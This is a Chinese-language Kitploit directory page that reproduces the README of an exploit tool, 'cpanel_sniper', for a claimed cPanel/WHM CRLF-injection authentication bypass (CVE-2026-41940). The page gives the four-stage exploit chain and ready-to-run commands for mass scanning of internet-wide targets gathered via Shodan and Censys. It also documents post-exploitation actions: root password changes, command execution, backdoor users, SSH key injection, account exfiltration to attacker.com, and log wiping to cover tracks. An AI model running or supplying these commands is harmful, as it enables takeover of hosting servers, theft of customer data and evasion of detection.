Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ishanoshada/cve-2026-41940-exploit-poc
身份验证与授权漏洞扫描器漏洞利用Web应用程序漏洞利用后渗透利用渗透测试红队Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
ishanoshada/cve-2026-41940-exploit-poc

CVE-2026-41940-Exploit-PoC

CVE-2026-41940 的漏洞利用 PoC,一种通过 CRLF 注入实现的 cPanel 与 WHM 身份验证绕过。包含批量扫描、漏洞利用后操作,以及用于授权测试的交互式 Shell。

查看仓库网站
213个月前尚未审核

CVE-2026-41940 漏洞利用 PoC – cPanel 与 WHM 身份验证绕过

CVE-2026-41940 CVSS Go Version License

工具作者: Ishan Oshada | GitHub

⚠️ 仅供授权安全测试使用。未经授权使用属违法行为。

1


📋 目录

  • 漏洞概述
  • 利用链
  • 功能特性
  • 安装
  • 快速开始
  • 使用示例(表格)
  • 利用后操作
  • 交互式 Shell 命令
  • 使用 urls.txt 进行批量扫描
  • 输出示例
  • 选项参考
  • 受影响版本
  • 为所有平台构建
  • 常见问题与故障排除
  • 免责声明
  • 作者

2

漏洞概述

CVE-2026-41940 是 cPanel 与 WHM(版本 < 11.110.0.97、11.118.0.63、11.126.0.54、11.132.0.29、11.134.0.20、11.136.0.5)中的一个 CRLF 注入 漏洞。

saveSession() 函数在应用 filter_sessiondata() 之后 写入会话数据,但过滤器的应用 为时已晚。通过在 Authorization: Basic 头中注入 CRLF(\r\n)字符,攻击者可以用任意键值对(例如 hasroot=1、tfa_verified=1、user=root)污染磁盘上的会话文件。

当之后加载被污染的会话时,cPanel/WHM 会在无需任何密码的情况下授予 完全 root 访问权限。

CVSS 评分:10.0(严重)

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:无
  • 用户交互:无
  • 机密性影响:高
  • 完整性影响:高
  • 可用性影响:高

利用链(4个阶段)


功能特性

  • ✅ 单目标与批量扫描(文件输入、标准输入管道)
  • ✅ 多线程扫描(控制并发,最高 100+ 线程)
  • ✅ 详细模式(--verbose)– 显示完整 HTTP 请求/响应
  • ✅ JSON 输出(发现易受攻击目标时自动保存)
  • ✅ 10 种利用后操作(见下表)
  • ✅ 跨平台(Windows、Linux、macOS)
  • ✅ 无外部依赖(仅使用 Go 标准库)
  • ✅ 彩色终端输出,带清晰的框式结果
  • ✅ 会话持久化 – 保持连接机制
  • ✅ 交互式 WHM Shell,带命令历史

安装

前提条件

  • Go 1.20 或更高版本(下载)

克隆仓库

root@kitploit:~
git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

构建可执行文件

Windows

root@kitploit:~
go build -o cpanel_sniper.exe main.go

Linux / macOS

root@kitploit:~
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

直接运行(无需构建)

root@kitploit:~
go run main.go -u https://target.com:2087

预构建二进制文件(最快方式)

无需从源码构建,您可以直接从仓库下载最新的稳定可执行文件。这些文件会在每次更新时自动生成:

注意: 如果使用 Linux 或 macOS,下载后请记得授予执行权限:


快速开始

root@kitploit:~
# 基本扫描
go run main.go -u https://target.com:2087

# 列出所有 cPanel 账户
go run main.go -u https://target.com:2087 -action list

# 交互式 WHM Shell
go run main.go -u https://target.com:2087 -action shell

# 使用 urls.txt 进行批量扫描
go run main.go -l urls.txt -t 20 -o results.json

使用示例(表格)


利用后操作


交互式 Shell 命令

进入 Shell(-action shell)后,可使用以下命令:


使用 urls.txt 进行批量扫描

仓库中包含 urls.txt,内含 1000 个示例目标,用于批量扫描。

urls.txt 格式

root@kitploit:~
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

批量扫描命令

root@kitploit:~
# 基本批量扫描(10 线程)
go run main.go -l urls.txt

# 快速批量扫描(50 线程,保存结果)
go run main.go -l urls.txt -t 50 -o results.json

# 带利用后操作的批量扫描
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# 带详细输出的批量扫描
go run main.go -l urls.txt -t 10 --verbose

# 带增加超时时间的批量扫描(慢速网络)
go run main.go -l urls.txt -t 30 -timeout 30

自行生成 urls.txt

root@kitploit:~
# 生成 IP 范围(Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt

# 生成 IP 范围(Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt

# 从 Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt

# 从 Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt

输出示例

发现易受攻击目标

root@kitploit:~
╔════════════════════════════════════════════════════════════════╗
║                    检测到易受攻击目标                          ║
╠════════════════════════════════════════════════════════════════╣
║ 目标:https://target.example.com:2087                          ║
║ 令牌:/cpsess1234567890                                        ║
║ 版本:11.76.0.22                                               ║
║ 会话::od2aMhg5zJeQunUy...                                     ║
║ API URL:https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝

[+] 操作:LIST
    • 用户:admin | 域名:example.com
    • 用户:backup | 域名:backup.example.com
    • 用户:client1 | 域名:client1.com

汇总输出

root@kitploit:~
════════════════════════════════════════════════════════════════════
                    扫描完成汇总
════════════════════════════════════════════════════════════════════
  扫描目标总数:1000
  易受攻击目标:47
  耗时:125.34 秒

易受攻击目标:
────────────────────────────────────────────────────────────────
  1. https://192.168.1.15:2087
      令牌:/cpsess1111111111
      版本:11.76.0.22
      会话::od2aMhg5zJeQunUy...
  2. https://192.168.1.42:2087
      令牌:/cpsess2222222222
      版本:11.86.0.15
      会话:Km2psnYR9w3rRkLU...
  3. https://example.com:2087
      令牌:/cpsess3333333333
      版本:11.118.0.42
      会话:Xk9mQrNtPw3sVbLm...

════════════════════════════════════════════════════════════════════

[✓] 结果已保存至:results.json

选项参考


受影响版本


为所有平台构建

Windows

root@kitploit:~
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087

Linux

root@kitploit:~
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087

macOS (Intel)

root@kitploit:~
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

macOS (Apple Silicon M1/M2/M3)

root@kitploit:~
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

交叉编译所有平台

root@kitploit:~
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go

# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go

# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Linux ARM(树莓派)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go

目录结构

root@kitploit:~
CVE-2026-41940-Exploit-PoC/
├── README.md           # 文档
├── bin/                # 预构建的多平台可执行文件
│   ├── windows_x64/
│   ├── linux_x64/
│   └── ...
├── main.go             # 主源代码
├── urls.txt            # 1000 个示例目标
├── go.mod              # Go 模块文件
├── .gitignore          # Git 忽略文件
└── results.json        # 输出文件(生成)

免责声明

本工具仅用于教育目的和授权渗透测试。

未经授权访问计算机系统在以下法律下均属违法行为:

  • 美国《计算机欺诈和滥用法》(CFAA)
  • 英国《计算机滥用法》
  • 印度《信息技术法》
  • 全球类似法律

作者对滥用行为不承担任何责任。使用风险自负。

使用本工具即表示您同意已获得测试目标系统的适当授权。


作者

Ishan Oshada

  • 🔗 网站:ishanoshada.com
  • 🐙 GitHub:github.com/ishanoshada
  • 📧 邮箱:[email protected]

Views

支持

如果您觉得本工具有用:

  • ⭐ 在 GitHub 上为仓库加星标
  • 🔄 与安全社区分享
  • 📝 通过 GitHub Issues 报告问题

祝您黑客之旅愉快! 🚀

请记住:能力越大,责任越大。请合乎道德地使用。

下载工具
阶段操作描述
1POST /login/?login_only=1使用错误凭据请求预认证会话 Cookie
2GET / + CRLF Authorization 头使用 hasroot=1、user=root 等污染会话文件
3GET /scripts2/listaccts强制会话缓存重新加载被污染的文件(传播)
4GET /cpsess<TOKEN>/json-api/version验证 root 访问权限 – 成功 = 200 + 版本数据
平台位置
Windows (x64)/bin/windows_x64/cpanel_sniper.exe
Linux (x64)/bin/linux_x64/cpanel_sniper
Linux (ARM64)/bin/linux_arm64/cpanel_sniper
macOS (Intel)/bin/mac_intel/cpanel_sniper
macOS (M1/M2/M3)/bin/mac_m1_m2/cpanel_sniper
#用途命令
1基本单目标扫描go run main.go -u https://target.com:2087
2列出所有 cPanel 账户go run main.go -u https://target.com:2087 -action list
3更改 root 密码go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"
4执行系统命令go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"
5获取服务器信息go run main.go -u https://target.com:2087 -action info
6创建后门用户go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"
7创建 API 令牌(隐蔽)go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken
8注入 SSH 密钥go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."
9转储并外传账户go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload
10清除日志并掩盖痕迹go run main.go -u https://target.com:2087 -action wipe
11交互式 WHM Shellgo run main.go -u https://target.com:2087 -action shell
12从文件批量扫描go run main.go -l urls.txt -t 20 -o results.json
13将结果保存为 JSONgo run main.go -u https://target.com:2087 -o scan_results.json
14启用详细调试go run main.go -u https://target.com:2087 --verbose
15从其他工具管道输入cat urls.txt | go run main.go -t 20
16增加超时时间go run main.go -u https://target.com:2087 -timeout 30
操作标志描述隐蔽级别
list-action list列出所有 cPanel 账户低
passwd-action passwd -passwd NEWPASS更改 root 密码(易被发现)高(可检测)
cmd-action cmd -cmd "id"执行操作系统命令中
info-action info显示主机名、负载、版本低
adduser-action adduser -new-user U -new-domain D创建后门 cPanel 用户中
apitoken-action apitoken [-tokenname NAME]生成持久 API 令牌极低
sshkey-action sshkey -sshkey "ssh-rsa..."向 root 注入 SSH 公钥极低
dumpacct-action dumpacct -dumpuser USER -exfil URL备份并外传账户中
wipe-action wipe禁用 WAF、清除日志、擦除历史掩盖痕迹
shell-action shell交互式 WHM Shell低
命令描述示例
accounts列出所有 cPanel 账户accounts
passwd <pass>更改 root 密码passwd MyNewPass123!2006
exec <command>执行系统命令exec "cat /etc/passwd"
info显示服务器信息info
version显示 cPanel 版本version
help显示可用命令help
exit退出 Shellexit
选项类型默认值描述
-ustring-目标 URL(例如 https://example.com:2087)
-lstring-包含目标的文件(每行一个)
-tint10并发线程数
-actionstring-利用后操作
-passwdstring-新密码(用于 passwd/adduser)
-cmdstring-要执行的命令(用于 cmd 操作)
-new-userstring-adduser 操作的用户名
-new-domainstring-adduser 操作的域名
-tokennamestring-API 令牌名称(apitoken 操作)
-sshkeystring-要注入的 SSH 公钥(sshkey 操作)
-dumpuserstring-要备份的用户名(dumpacct 操作)
-exfilstring-外传的远程 URL(dumpacct 操作)
-ostring-输出 JSON 文件(发现时自动保存)
--verboseboolfalse显示 HTTP 请求/响应
-hboolfalse显示帮助菜单
分支已修补版本易受攻击 <
11.11011.110.0.9711.110.0.96
11.11811.118.0.6311.118.0.62
11.12611.126.0.5411.126.0.53
11.13211.132.0.2911.132.0.28
11.13411.134.0.2011.134.0.19
11.13611.136.0.511.136.0.4